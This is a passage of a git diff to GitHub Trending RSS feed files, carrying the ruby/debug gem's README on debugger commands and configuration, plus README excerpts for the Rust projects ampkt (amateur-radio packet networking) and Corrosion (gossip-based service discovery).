<li><code>RUBY_DEBUG_SKIP_NOSRC</code> (<code>skip_nosrc</code>): Skip on no source code lines (default: false)</li> <li><code>RUBY_DEBUG_KEEP_ALLOC_SITE</code> (<code>keep_alloc_site</code>): Keep allocation site and p, pp shows it (default: false)</li> <li><code>RUBY_DEBUG_POSTMORTEM</code> (<code>postmortem</code>): Enable postmortem debug (default: false)</li> <li><code>RUBY_DEBUG_FORK_MODE</code> (<code>fork_mode</code>): Control which process activates a debugger after fork (both/parent/child) (default: both)</li> <li><code>RUBY_DEBUG_SIGDUMP_SIG</code> (<code>sigdump_sig</code>): Sigdump signal (default: false)</li> </ul> </li> <li> <p>BOOT</p> <ul> <li><code>RUBY_DEBUG_NONSTOP</code> (<code>nonstop</code>): Nonstop mode (default: false)</li> <li><code>RUBY_DEBUG_STOP_AT_LOAD</code> (<code>stop_at_load</code>): Stop at just loading location (default: false)</li> <li><code>RUBY_DEBUG_INIT_SCRIPT</code> (<code>init_script</code>): debug command script path loaded at first stop</li> <li><code>RUBY_DEBUG_COMMANDS</code> (<code>commands</code>): debug commands invoked at first stop. Commands should be separated by <code>;;</code></li> <li><code>RUBY_DEBUG_NO_RC</code> (<code>no_rc</code>): ignore loading ~/.rdbgrc(.rb) (default: false)</li> <li><code>RUBY_DEBUG_HISTORY_FILE</code> (<code>history_file</code>): history file (default: ~/.rdbg_history)</li> <li><code>RUBY_DEBUG_SAVE_HISTORY</code> (<code>save_history</code>): maximum save history lines (default: 10000)</li> </ul> </li> <li> <p>REMOTE</p> <ul> <li><code>RUBY_DEBUG_OPEN</code> (<code>open</code>): Open remote port (same as <code>rdbg --open</code> option)</li> <li><code>RUBY_DEBUG_PORT</code> (<code>port</code>): TCP/IP remote debugging: port</li> <li><code>RUBY_DEBUG_HOST</code> (<code>host</code>): TCP/IP remote debugging: host (default: 127.0.0.1)</li> <li><code>RUBY_DEBUG_SOCK_PATH</code> (<code>sock_path</code>): UNIX Domain Socket remote debugging: socket path</li> <li><code>RUBY_DEBUG_SOCK_DIR</code> (<code>sock_dir</code>): UNIX Domain Socket remote debugging: socket directory</li> <li><code>RUBY_DEBUG_LOCAL_FS_MAP</code> (<code>local_fs_map</code>): Specify local fs map</li> <li><code>RUBY_DEBUG_SKIP_BP</code> (<code>skip_bp</code>): Skip breakpoints if no clients are attached (default: false)</li> <li><code>RUBY_DEBUG_COOKIE</code> (<code>cookie</code>): Cookie for negotiation</li> <li><code>RUBY_DEBUG_CHROME_PATH</code> (<code>chrome_path</code>): Platform dependent path of Chrome (For more information, See <a href="https://github.com/ruby/debug/pull/334/files#diff-5fc3d0a901379a95bc111b86cf0090b03f857edfd0b99a0c1537e26735698453R55-R64">here</a>)</li> </ul> </li> <li> <p>OBSOLETE</p> <ul> <li><code>RUBY_DEBUG_PARENT_ON_FORK</code> (<code>parent_on_fork</code>): Keep debugging parent process on fork (default: false)</li> </ul> </li> </ul> <p>There are other environment variables:</p> <ul> <li><code>NO_COLOR</code>: If the value is set, set <code>RUBY_DEBUG_NO_COLOR</code> (<a href="https://no-color.org/">NO_COLOR: disabling ANSI color output in various Unix commands</a>).</li> <li><code>RUBY_DEBUG_ENABLE</code>: If the value is <code>0</code>, do not enable debug.gem feature.</li> <li><code>RUBY_DEBUG_ADDED_RUBYOPT</code>: Remove this value from <code>RUBYOPT</code> at first. This feature helps loading debug.gem with <code>RUBYOPT='-r debug/...'</code> and you don't want to derive it to child processes. In this case you can set <code>RUBY_DEBUG_ADDED_RUBYOPT='-r debug/...'</code> (same value) and this string will be deleted from <code>RUBYOPT</code> at first.</li> <li><code>RUBY_DEBUG_EDITOR</code> or <code>EDITOR</code>: An editor used by <code>edit</code> debug command.</li> <li><code>RUBY_DEBUG_BB</code>: Define <code>Kernel#bb</code> method which is alias of <code>Kernel#debugger</code>.</li> </ul> <h3>Initial scripts</h3> <p>If there is <code>~/.rdbgrc</code>, the file is loaded as an initial script (which contains debug commands) when the debug session is started.</p> <ul> <li><code>RUBY_DEBUG_INIT_SCRIPT</code> environment variable can specify the initial script file.</li> <li>You can specify the initial script with <code>rdbg -x initial_script</code> (like gdb's <code>-x</code> option).</li> </ul> <p>Initial scripts are useful to write your favorite configurations. For example, you can set break points with <code>break file:123</code> in <code>~/.rdbgrc</code>.</p> <p>If there are <code>~/.rdbgrc.rb</code> is available, it is also loaded as a ruby script at same timing.</p> <h2>Debug command on the debug console</h2> <p>On the debug console, you can use the following debug commands.</p> <p>There are additional features:</p> <ul> <li><code>&lt;expr&gt;</code> without debug command is almost same as <code>pp &lt;expr&gt;</code>. <ul> <li>If the input line <code>&lt;expr&gt;</code> does <em>NOT</em> start with any debug command, the line <code>&lt;expr&gt;</code> will be evaluated as a Ruby expression and the result will be printed with <code>pp</code> method. So that the input <code>foo.bar</code> is same as <code>pp foo.bar</code>.</li> <li>If <code>&lt;expr&gt;</code> is recognized as a debug command, of course it is not evaluated as a Ruby expression, but is executed as debug command. For example, you can not evaluate such single letter local variables <code>i</code>, <code>b</code>, <code>n</code>, <code>c</code> because they are single letter debug commands. Use <code>p i</code> instead.</li> <li>So the author (Koichi Sasada) recommends to use <code>p</code>, <code>pp</code> or <code>eval</code> command to evaluate the Ruby expression everytime.</li> </ul> </li> <li><code>Enter</code> without any input repeats the last command (useful when repeating <code>step</code>s) for some commands.</li> <li><code>Ctrl-D</code> is equal to <code>quit</code> command.</li> <li><a href="https://docs.google.com/spreadsheets/d/1TlmmUDsvwK4sSIyoMv-io52BUUz__R5wpu-ComXlsw0/edit?usp=sharing">debug command compare sheet - Google Sheets</a></li> </ul> <p>You can use the following debug commands. Each command should be written in 1 line. The <code>[...]</code> notation means this part can be eliminate. For example, <code>s[tep]</code> means <code>s</code> or <code>step</code> are valid command. <code>ste</code> is not valid. The <code>&lt;...&gt;</code> notation means the argument.</p> <h3>Control flow</h3> <ul> <li><code>s[tep]</code> <ul> <li>Step in. Resume the program until next breakable point.</li> </ul> </li> <li><code>s[tep] &lt;n&gt;</code> <ul> <li>Step in, resume the program at <code>&lt;n&gt;</code>th breakable point.</li> </ul> </li> <li><code>n[ext]</code> <ul> <li>Step over. Resume the program until next line.</li> </ul> </li> <li><code>n[ext] &lt;n&gt;</code> <ul> <li>Step over, same as <code>step &lt;n&gt;</code>.</li> </ul> </li> <li><code>fin[ish]</code> <ul> <li>Finish this frame. Resume the program until the current frame is finished.</li> </ul> </li> <li><code>fin[ish] &lt;n&gt;</code> <ul> <li>Finish <code>&lt;n&gt;</code>th frames.</li> </ul> </li> <li><code>u[ntil]</code> <ul> <li>Similar to <code>next</code> command, but only stop later lines or the end of the current frame.</li> <li>Similar to gdb's <code>advance</code> command.</li> </ul> </li> <li><code>u[ntil] &lt;[file:]line&gt;</code> <ul> <li>Run til the program reaches given location or the end of the current frame.</li> </ul> </li> <li><code>u[ntil] &lt;name&gt;</code> <ul> <li>Run til the program invokes a method <code>&lt;name&gt;</code>. <code>&lt;name&gt;</code> can be a regexp with <code>/name/</code>.</li> </ul> </li> <li><code>c</code> or <code>cont</code> or <code>continue</code> <ul> <li>Resume the program.</li> </ul> </li> <li><code>q[uit]</code> or <code>Ctrl-D</code> <ul> <li>Finish debugger (with the debuggee process on non-remote debugging).</li> </ul> </li> <li><code>q[uit]!</code> <ul> <li>Same as q[uit] but without the confirmation prompt.</li> </ul> </li> <li><code>kill</code> <ul> <li>Stop the debuggee process with <code>Kernel#exit!</code>.</li> </ul> </li> <li><code>kill!</code> <ul> <li>Same as kill but without the confirmation prompt.</li> </ul> </li> <li><code>sigint</code> <ul> <li>Execute SIGINT handler registered by the debuggee.</li> <li>Note that this command should be used just after stop by <code>SIGINT</code>.</li> </ul> </li> </ul> <h3>Breakpoint</h3> <ul> <li><code>b[reak]</code> <ul> <li>Show all breakpoints.</li> </ul> </li> <li><code>b[reak] &lt;line&gt;</code> <ul> <li>Set breakpoint on <code>&lt;line&gt;</code> at the current frame's file.</li> </ul> </li> <li><code>b[reak] &lt;file&gt;:&lt;line&gt;</code> or <code>&lt;file&gt; &lt;line&gt;</code> <ul> <li>Set breakpoint on <code>&lt;file&gt;:&lt;line&gt;</code>.</li> </ul> </li> <li><code>b[reak] &lt;class&gt;#&lt;name&gt;</code> <ul> <li>Set breakpoint on the method <code>&lt;class&gt;#&lt;name&gt;</code>.</li> </ul> </li> <li><code>b[reak] &lt;expr&gt;.&lt;name&gt;</code> <ul> <li>Set breakpoint on the method <code>&lt;expr&gt;.&lt;name&gt;</code>.</li> </ul> </li> <li><code>b[reak] ... if: &lt;expr&gt;</code> <ul> <li>break if <code>&lt;expr&gt;</code> is true at specified location.</li> </ul> </li> <li><code>b[reak] ... pre: &lt;command&gt;</code> <ul> <li>break and run <code>&lt;command&gt;</code> before stopping.</li> </ul> </li> <li><code>b[reak] ... do: &lt;command&gt;</code> <ul> <li>break and run <code>&lt;command&gt;</code>, and continue.</li> </ul> </li> <li><code>b[reak] ... path: &lt;path&gt;</code> <ul> <li>break if the path matches to <code>&lt;path&gt;</code>. <code>&lt;path&gt;</code> can be a regexp with <code>/regexp/</code>.</li> </ul> </li> <li><code>b[reak] if: &lt;expr&gt;</code> <ul> <li>break if: <code>&lt;expr&gt;</code> is true at any lines.</li> <li>Note that this feature is super slow.</li> </ul> </li> <li><code>catch &lt;Error&gt;</code> <ul> <li>Set breakpoint on raising <code>&lt;Error&gt;</code>.</li> </ul> </li> <li><code>catch ... if: &lt;expr&gt;</code> <ul> <li>stops only if <code>&lt;expr&gt;</code> is true as well.</li> </ul> </li> <li><code>catch ... pre: &lt;command&gt;</code> <ul> <li>runs <code>&lt;command&gt;</code> before stopping.</li> </ul> </li> <li><code>catch ... do: &lt;command&gt;</code> <ul> <li>stops and run <code>&lt;command&gt;</code>, and continue.</li> </ul> </li> <li><code>catch ... path: &lt;path&gt;</code> <ul> <li>stops if the exception is raised from a <code>&lt;path&gt;</code>. <code>&lt;path&gt;</code> can be a regexp with <code>/regexp/</code>.</li> </ul> </li> <li><code>watch @ivar</code> <ul> <li>Stop the execution when the result of current scope's <code>@ivar</code> is changed.</li> <li>Note that this feature is super slow.</li> </ul> </li> <li><code>watch ... if: &lt;expr&gt;</code> <ul> <li>stops only if <code>&lt;expr&gt;</code> is true as well.</li> </ul> </li> <li><code>watch ... pre: &lt;command&gt;</code> <ul> <li>runs <code>&lt;command&gt;</code> before stopping.</li> </ul> </li> <li><code>watch ... do: &lt;command&gt;</code> <ul> <li>stops and run <code>&lt;command&gt;</code>, and continue.</li> </ul> </li> <li><code>watch ... path: &lt;path&gt;</code> <ul> <li>stops if the path matches <code>&lt;path&gt;</code>. <code>&lt;path&gt;</code> can be a regexp with <code>/regexp/</code>.</li> </ul> </li> <li><code>del[ete]</code> <ul> <li>delete all breakpoints.</li> </ul> </li> <li><code>del[ete] &lt;bpnum&gt;</code> <ul> <li>delete specified breakpoint.</li> </ul> </li> </ul> <h3>Information</h3> <ul> <li><code>bt</code> or <code>backtrace</code> <ul> <li>Show backtrace (frame) information.</li> </ul> </li> <li><code>bt &lt;num&gt;</code> or <code>backtrace &lt;num&gt;</code> <ul> <li>Only shows first <code>&lt;num&gt;</code> frames.</li> </ul> </li> <li><code>bt /regexp/</code> or <code>backtrace /regexp/</code> <ul> <li>Only shows frames with method name or location info that matches <code>/regexp/</code>.</li> </ul> </li> <li><code>bt &lt;num&gt; /regexp/</code> or <code>backtrace &lt;num&gt; /regexp/</code> <ul> <li>Only shows first <code>&lt;num&gt;</code> frames with method name or location info that matches <code>/regexp/</code>.</li> </ul> </li> <li><code>l[ist]</code> <ul> <li>Show current frame's source code.</li> <li>Next <code>list</code> command shows the successor lines.</li> </ul> </li> <li><code>l[ist] -</code> <ul> <li>Show predecessor lines as opposed to the <code>list</code> command.</li> </ul> </li> <li><code>l[ist] &lt;start&gt;</code> or <code>l[ist] &lt;start&gt;-&lt;end&gt;</code> <ul> <li>Show current frame's source code from the line <start> to <end> if given. </end> </start></li> </ul> </li> <li><code>whereami</code> <ul> <li>Show the current frame with source code.</li> </ul> </li> <li><code>edit</code> <ul> <li>Open the current file on the editor (use <code>EDITOR</code> environment variable).</li> <li>Note that edited file will not be reloaded.</li> </ul> </li> <li><code>edit &lt;file&gt;</code> <ul> <li>Open <file> on the editor. </file></li> </ul> </li> <li><code>i[nfo]</code> <ul> <li>Show information about current frame (local/instance variables and defined constants).</li> </ul> </li> <li><code>i[nfo]</code> <subcommand> <ul> <li><code>info</code> has the following sub-commands.</li> <li>Sub-commands can be specified with few letters which is unambiguous, like <code>l</code> for 'locals'.</li> </ul> </subcommand></li> <li><code>i[nfo] l or locals or local_variables</code> <ul> <li>Show information about the current frame (local variables)</li> <li>It includes <code>self</code> as <code>%self</code> and a return value as <code>_return</code>.</li> </ul> </li> <li><code>i[nfo] i or ivars or instance_variables</code> <ul> <li>Show information about instance variables about <code>self</code>.</li> <li><code>info ivars &lt;expr&gt;</code> shows the instance variables of the result of <code>&lt;expr&gt;</code>.</li> </ul> </li> <li><code>i[nfo] c or consts or constants</code> <ul> <li>Show information about accessible constants except toplevel constants.</li> <li><code>info consts &lt;expr&gt;</code> shows the constants of a class/module of the result of <code>&lt;expr&gt;</code></li> </ul> </li> <li><code>i[nfo] g or globals or global_variables</code> <ul> <li>Show information about global variables</li> </ul> </li> <li><code>i[nfo] th or threads</code> <ul> <li>Show all threads (same as <code>th[read]</code>).</li> </ul> </li> <li><code>i[nfo] b or breakpoints or w or watchpoints</code> <ul> <li>Show all breakpoints and watchpoints.</li> </ul> </li> <li><code>i[nfo] ... /regexp/</code> <ul> <li>Filter the output with <code>/regexp/</code>.</li> </ul> </li> <li><code>o[utline]</code> or <code>ls</code> <ul> <li>Show you available methods, constants, local variables, and instance variables in the current scope.</li> </ul> </li> <li><code>o[utline] &lt;expr&gt;</code> or <code>ls &lt;expr&gt;</code> <ul> <li>Show you available methods and instance variables of the given object.</li> <li>If the object is a class/module, it also lists its constants.</li> </ul> </li> <li><code>display</code> <ul> <li>Show display setting.</li> </ul> </li> <li><code>display &lt;expr&gt;</code> <ul> <li>Show the result of <code>&lt;expr&gt;</code> at every suspended timing.</li> </ul> </li> <li><code>undisplay</code> <ul> <li>Remove all display settings.</li> </ul> </li> <li><code>undisplay &lt;displaynum&gt;</code> <ul> <li>Remove a specified display setting.</li> </ul> </li> </ul> <h3>Frame control</h3> <ul> <li><code>f[rame]</code> <ul> <li>Show the current frame.</li> </ul> </li> <li><code>f[rame] &lt;framenum&gt;</code> <ul> <li>Specify a current frame. Evaluation are run on specified frame.</li> </ul> </li> <li><code>up</code> <ul> <li>Specify the upper frame.</li> </ul> </li> <li><code>down</code> <ul> <li>Specify the lower frame.</li> </ul> </li> </ul> <h3>Evaluate</h3> <ul> <li><code>p &lt;expr&gt;</code> <ul> <li>Evaluate like <code>p &lt;expr&gt;</code> on the current frame.</li> </ul> </li> <li><code>pp &lt;expr&gt;</code> <ul> <li>Evaluate like <code>pp &lt;expr&gt;</code> on the current frame.</li> </ul> </li> <li><code>eval &lt;expr&gt;</code> <ul> <li>Evaluate <code>&lt;expr&gt;</code> on the current frame.</li> </ul> </li> <li><code>irb</code> <ul> <li>Invoke <code>irb</code> on the current frame.</li> </ul> </li> </ul> <h3>Trace</h3> <ul> <li><code>trace</code> <ul> <li>Show available tracers list.</li> </ul> </li> <li><code>trace line</code> <ul> <li>Add a line tracer. It indicates line events.</li> </ul> </li> <li><code>trace call</code> <ul> <li>Add a call tracer. It indicate call/return events.</li> </ul> </li> <li><code>trace exception</code> <ul> <li>Add an exception tracer. It indicates raising exceptions.</li> </ul> </li> <li><code>trace object &lt;expr&gt;</code> <ul> <li>Add an object tracer. It indicates that an object by <code>&lt;expr&gt;</code> is passed as a parameter or a receiver on method call.</li> </ul> </li> <li><code>trace ... /regexp/</code> <ul> <li>Indicates only matched events to <code>/regexp/</code>.</li> </ul> </li> <li><code>trace ... into: &lt;file&gt;</code> <ul> <li>Save trace information into: <code>&lt;file&gt;</code>.</li> </ul> </li> <li><code>trace off &lt;num&gt;</code> <ul> <li>Disable tracer specified by <code>&lt;num&gt;</code> (use <code>trace</code> command to check the numbers).</li> </ul> </li> <li><code>trace off [line|call|pass]</code> <ul> <li>Disable all tracers. If <code>&lt;type&gt;</code> is provided, disable specified type tracers.</li> </ul> </li> <li><code>record</code> <ul> <li>Show recording status.</li> </ul> </li> <li><code>record [on|off]</code> <ul> <li>Start/Stop recording.</li> </ul> </li> <li><code>step back</code> <ul> <li>Start replay. Step back with the last execution log.</li> <li><code>s[tep]</code> does stepping forward with the last log.</li> </ul> </li> <li><code>step reset</code> <ul> <li>Stop replay .</li> </ul> </li> </ul> <h3>Thread control</h3> <ul> <li><code>th[read]</code> <ul> <li>Show all threads.</li> </ul> </li> <li><code>th[read] &lt;thnum&gt;</code> <ul> <li>Switch thread specified by <code>&lt;thnum&gt;</code>.</li> </ul> </li> </ul> <h3>Configuration</h3> <ul> <li><code>config</code> <ul> <li>Show all configuration with description.</li> </ul> </li> <li><code>config &lt;name&gt;</code> <ul> <li>Show current configuration of <name> . </name></li> </ul> </li> <li><code>config set &lt;name&gt; &lt;val&gt;</code> or <code>config &lt;name&gt; = &lt;val&gt;</code> <ul> <li>Set <name> to <val> . </val> </name></li> </ul> </li> <li><code>config append &lt;name&gt; &lt;val&gt;</code> or <code>config &lt;name&gt; &lt;&lt; &lt;val&gt;</code> <ul> <li>Append <code>&lt;val&gt;</code> to <code>&lt;name&gt;</code> if it is an array.</li> </ul> </li> <li><code>config unset &lt;name&gt;</code> <ul> <li>Set <name> to default. </name></li> </ul> </li> <li><code>source &lt;file&gt;</code> <ul> <li>Evaluate lines in <code>&lt;file&gt;</code> as debug commands.</li> </ul> </li> <li><code>open</code> <ul> <li>open debuggee port on UNIX domain socket and wait for attaching.</li> <li>Note that <code>open</code> command is EXPERIMENTAL.</li> </ul> </li> <li><code>open [&lt;host&gt;:]&lt;port&gt;</code> <ul> <li>open debuggee port on TCP/IP with given <code>[&lt;host&gt;:]&lt;port&gt;</code> and wait for attaching.</li> </ul> </li> <li><code>open vscode</code> <ul> <li>open debuggee port for VSCode and launch VSCode if available.</li> </ul> </li> <li><code>open chrome</code> <ul> <li>open debuggee port for Chrome and wait for attaching.</li> </ul> </li> </ul> <h3>Help</h3> <ul> <li><code>h[elp]</code> <ul> <li>Show help for all commands.</li> </ul> </li> <li><code>h[elp] &lt;command&gt;</code> <ul> <li>Show help for the given command.</li> </ul> </li> </ul> <h2>Debugger API</h2> <h3>Start debugging</h3> <h4>Start by requiring a library</h4> <p>You can start debugging without <code>rdbg</code> command by requiring the following libraries:</p> <ul> <li><code>require 'debug'</code>: Same as <code>rdbg --nonstop --no-sigint-hook</code>.</li> <li><code>require 'debug/start'</code>: Same as <code>rdbg</code>.</li> <li><code>require 'debug/open'</code>: Same as <code>rdbg --open</code>.</li> <li><code>require 'debug/open_nonstop'</code>: Same as <code>rdbg --open --nonstop</code>.</li> </ul> <p>You need to require one of them at the very beginning of the application. Using <code>ruby -r</code> (for example <code>ruby -r debug/start target.rb</code>) is another way to invoke with debugger.</p> <p>NOTE: Until Ruby 3.0, there is old <code>lib/debug.rb</code> standard library. So that if this gem is not installed, or if <code>Gemfile</code> missed to list this gem and <code>bundle exec</code> is used, you will see the following output:</p> <pre><code class="language-shell">$ ruby -r debug -e0 .../2.7.3/lib/ruby/2.7.0/x86_64-linux/continuation.so: warning: callcc is obsolete; use Fiber instead Debug.rb Emacs support available. .../2.7.3/lib/ruby/2.7.0/rubygems/core_ext/kernel_require.rb:162: if RUBYGEMS_ACTIVATION_MONITOR.respond_to?(:mon_owned?) (rdb:1) </code></pre> <p><code>lib/debug.rb</code> was not maintained well in recent years, and the purpose of this library is to rewrite old <code>lib/debug.rb</code> with recent techniques.</p> <h4>Start by method</h4> <p>After loading <code>debug/session</code>, you can start debug session with the following methods. They are convenient if you want to specify debug configurations in your program.</p> <ul> <li><code>DEBUGGER__.start(**kw)</code>: start debug session with local console.</li> <li><code>DEBUGGER__.open(**kw)</code>: open debug port with configuration (without configurations open with UNIX domain socket)</li> <li><code>DEBUGGER__.open_unix(**kw)</code>: open debug port with UNIX domain socket</li> <li><code>DEBUGGER__.open_tcp(**kw)</code>: open debug port with TCP/IP</li> </ul> <p>For example:</p> <pre><code class="language-ruby">require 'debug/session' DEBUGGER__.start(no_color: true, # disable colorize log_level: 'INFO') # Change log_level to INFO ... # your application code </code></pre> <h3><code>binding.break</code> method</h3> <p><code>binding.break</code> (or <code>binding.b</code>) set breakpoints at written line. It also has several keywords.</p> <p>If <code>do: 'command'</code> is specified, the debugger suspends the program and run the <code>command</code> as a debug command and continue the program. It is useful if you only want to call a debug command and don't want to stop there.</p> <pre><code>def initialize @a = 1 binding.b do: 'info \n watch @a' end </code></pre> <p>On this case, execute the <code>info</code> command then register a watch breakpoint for <code>@a</code> and continue to run. You can also use <code>;;</code> instead of <code>\n</code> to separate your commands.</p> <p>If <code>pre: 'command'</code> is specified, the debugger suspends the program and run the <code>command</code> as a debug command, and keep suspend. It is useful if you have operations before suspend.</p> <pre><code>def foo binding.b pre: 'p bar()' ... end </code></pre> <p>On this case, you can see the result of <code>bar()</code> every time you stop there.</p> <h2>rdbg command help</h2> <pre><code>exe/rdbg [options] -- [debuggee options] Debug console mode: -n, --nonstop Do not stop at the beginning of the script. -e DEBUG_COMMAND Execute debug command at the beginning of the script. -x, --init-script=FILE Execute debug command in the FILE. --no-rc Ignore ~/.rdbgrc --no-color Disable colorize --no-sigint-hook Disable to trap SIGINT -c, --command Enable command mode. The first argument should be a command name in $PATH. Example: 'rdbg -c bundle exec rake test' -O, --open=[FRONTEND] Start remote debugging with opening the network port. If TCP/IP options are not given, a UNIX domain socket will be used. If FRONTEND is given, prepare for the FRONTEND. Now rdbg, vscode and chrome is supported. --sock-path=SOCK_PATH UNIX Domain socket path --port=PORT Listening TCP/IP port --host=HOST Listening TCP/IP host --cookie=COOKIE Set a cookie for connection Debug console mode runs Ruby program with the debug console. 'rdbg target.rb foo bar' starts like 'ruby target.rb foo bar'. 'rdbg -- -r foo -e bar' starts like 'ruby -r foo -e bar'. 'rdbg -c rake test' starts like 'rake test'. 'rdbg -c -- rake test -t' starts like 'rake test -t'. 'rdbg -c bundle exec rake test' starts like 'bundle exec rake test'. 'rdbg -O target.rb foo bar' starts and accepts attaching with UNIX domain socket. 'rdbg -O --port 1234 target.rb foo bar' starts accepts attaching with TCP/IP localhost:1234. 'rdbg -O --port 1234 -- -r foo -e bar' starts accepts attaching with TCP/IP localhost:1234. 'rdbg target.rb -O chrome --port 1234' starts and accepts connecting from Chrome Devtools with localhost:1234. Attach mode: -A, --attach Attach to debuggee process. Attach mode attaches the remote debug console to the debuggee process. 'rdbg -A' tries to connect via UNIX domain socket. If there are multiple processes are waiting for the debugger connection, list possible debuggee names. 'rdbg -A path' tries to connect via UNIX domain socket with given path name. 'rdbg -A port' tries to connect to localhost:port via TCP/IP. 'rdbg -A host port' tries to connect to host:port via TCP/IP. Other options: -v Show version number --version Show version number and exit -h, --help Print help --util=NAME Utility mode (used by tools) --stop-at-load Stop immediately when the debugging feature is loaded. NOTE All messages communicated between a debugger and a debuggee are *NOT* encrypted. Please use the remote debugging feature carefully. </code></pre> <h1>Additional Resources</h1> <ul> <li><a href="https://st0012.dev/from-byebug-to-ruby-debug">From byebug to ruby/debug</a> by Stan Lo - A migration guide for <code>byebug</code> users.</li> <li><a href="https://st0012.dev/ruby-debug-cheatsheet">ruby/debug cheatsheet</a> by Stan Lo</li> </ul> <h1>Contributing</h1> <p>Bug reports and pull requests are welcome on GitHub at <a href="https://github.com/ruby/debug">https://github.com/ruby/debug</a>. This debugger is not mature so your feedback will help us.</p> <p>Please also check the <a href="https://raw.githubusercontent.com/ruby/debug/master/CONTRIBUTING.md">contributing guideline</a>.</p> <h1>Acknowledgement</h1> <ul> <li>Some tests are based on <a href="https://github.com/deivid-rodriguez/byebug">deivid-rodriguez/byebug: Debugging in Ruby 2</a></li> <li>Several codes in <code>server_cdp.rb</code> are based on <a href="https://github.com/geoffreylitt/ladybug">geoffreylitt/ladybug: Visual Debugger</a></li> </ul> - - \ No newline at end of file diff --git a/runoff/daily/index.xml b/runoff/daily/index.xml index 74d990c15af..3e35f573a85 100644 --- a/runoff/daily/index.xml +++ b/runoff/daily/index.xml @@ -1,7 +1,7 @@ GitHub RUNOFF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:31Z + 2023-09-25T01:39:41Z Daily Trending of RUNOFF in GitHub \ No newline at end of file diff --git a/runoff/weekly/index.xml b/runoff/weekly/index.xml deleted file mode 100644 index 8c91f26f411..00000000000 --- a/runoff/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub RUNOFF Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:00:12Z - Weekly Trending of RUNOFF in GitHub - - \ No newline at end of file diff --git a/rust/daily/index.xml b/rust/daily/index.xml index 99a69cab618..6b8ede75619 100644 --- a/rust/daily/index.xml +++ b/rust/daily/index.xml @@ -1,14 +1,28 @@ GitHub Rust Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:40:51Z + 2023-09-25T01:39:47Z Daily Trending of Rust in GitHub - hexagonal-sun/ampkt - 2023-09-24T01:40:51Z - tag:github.com,2023-09-24:/hexagonal-sun/ampkt - - <p>Amateur radio packet experimentation framework</p><hr><h1>AMPKT - Amateur radio packet explorer</h1> <p>This is a project to facilitate experimentation with connecting two Linux machine's network stacks via the amateur radio bands.</p> <h2>Required Hardware</h2> <p>You will need two full-duplex SDRs, one for each machine. They will also need to be compatible with SoapySDR.</p> <p>Hardware that is known to work:</p> <ul> <li>USRP N210</li> <li>BladeRF</li> <li>LimeSDR</li> </ul> <h2>Getting Started</h2> <ol> <li>Build the project:</li> </ol> <pre><code class="language-console">cargo build --release </code></pre> <ol start="2"> <li>Connect your SDR hardware and start the <code>ampkt</code> binary (note that you will probably need to run with <code>sudo</code> so that the <code>tap</code> interface can be created):</li> </ol> <pre><code class="language-console">sudo ./target/release/ampkt "driver=bladerf" 433000000 435000000 </code></pre> <p>This will start ampkt using bladerf hardware, Txing on 433MHz and Rxing on 435MHz.</p> <ol start="3"> <li> <p>On a second machine do the same, ensuring that you swap the frequencies.</p> </li> <li> <p>On both machines, bring up the tap interface and assign an IP address:</p> </li> </ol> <pre><code class="language-console">sudo ifconfig tap0 up sudo ip add 10.0.0.1/24 dev tap0 </code></pre> <p>Making sure you use a different IP address on the other machine.</p> <ol start="5"> <li>At this point you should have working comms. You can check running <code>ping</code>and seeing whether you get a reply from the other machine</li> </ol> <pre><code class="language-console">ping 10.0.0.2 </code></pre> <h2>Technical Information</h2> <p>A Linux <a href="https://www.kernel.org/doc/html/v5.8/networking/tuntap.html">TAP</a> interface is created. This interface is used as the sink for the RX path and the source for the TX path.</p> <h3>Tx Path</h3> <p>Each incoming packet that is read from the tap interface is converted into a frame. The frame consists of a sync header (repeated twice) a frame size (as u16) followed by the packet data. We then convert the frame to a stream of symbols. We use QPSK modulation which means we have two bits per symbol. Each 2-bit nibble is converted into a symbol using the following map:</p> <pre><code>A =&gt; 0b00 B =&gt; 0b01 C =&gt; 0b10 D =&gt; 0b11 </code></pre> <p>We then module the symbol stream into QPSK with the following constellation:</p> <pre><code> Im | B | A | | -------------&gt; re | | D | C | </code></pre> <p>The output of the QPSK modulator is then sent to the SDR for Tx.</p> <h3>Rx Path</h3> <p>Samples from the SDR are first sent into the clock sync block. This block decimates the incoming stream by selection of particular samples from the input stream. The number of samples that are 'skipped' during selection is shifted by an error function which attempts to pick the sample at the peak of a symbol.</p> <p>The decimated stream is then sent into the carrier sync block. This attempts to compensate for any difference in clocks between the SDRs by 'de-reotating' the constellation. When this block has 'locked' the output should be stable samples in each quadrent of the constellation plot.</p> <p>Next, the samples passed through the QPSK demodulator which converts the samples into a stream of symbols.</p> <p>The symbol stream is then passed through a frame decoder. This block attempts to create the original packet of data from a stream of symbols. We use a SYNC header of 16-bytes (repeated twice) to resolve the phase ambiguity. Then the computed difference in phase is applied to all incoming symbols to decode the frame.</p> <p>Finally the frames are written to the TAP interface for injection into the Linux kernel network stack.</p> + superfly/corrosion + 2023-09-25T01:39:47Z + tag:github.com,2023-09-25:/superfly/corrosion + + <p>Gossip-based service discovery (and more) for large distributed systems.</p><hr><h1>Corrosion</h1> <p>Gossip-based service discovery (and more) for large distributed systems.</p> <h2>Why we built Corrosion</h2> <p>We built Corrosion specifically for service discovery across a large global network, replacing Consul’s central state database with eventually consistent state distributed across our hosts.</p> <p>Our new tool needed to deliver the following:</p> <h3>Fast reads and writes</h3> <p>Getting state (data) from a central remote source can be incredibly expensive (at least 300ms for a round-trip to something on the other side of the world), but usually takes less than 1ms from a local source.</p> <h3>Fast, eventual, consistency</h3> <p>Many use cases can cope with eventual consistency, especially if a consistent state is attained sooner than later. Raft fell short for some use cases at Fly.io where round-trips to a centralized location are too expensive.</p> <h3>Flexibility</h3> <p>Global state for a distributed system isn't one-size-fits-all. Flexible schemas and queries are essential.</p> <h2>How Corrosion works</h2> <p>In a nutshell, Corrosion:</p> <ul> <li>Maintains a SQLite database on each node</li> <li>Gossips local changes throughout the cluster</li> <li>Uses <a href="https://github.com/vlcn-io/cr-sqlite">CR-SQLite</a> for conflict resolution with CRDTs</li> <li>Uses <a href="https://github.com/caio/foca">Foca</a> to manage cluster membership using a SWIM protocol</li> <li>Periodically synchronizes with a subset of other cluster nodes, to ensure consistency</li> </ul> <h2>Features</h2> <ul> <li>A flexible API to read from and write to Corrosion's store using SQL statements</li> <li>File-based schemas with on-the-fly updates</li> <li>HTTP streaming subscriptions based on SQL queries</li> 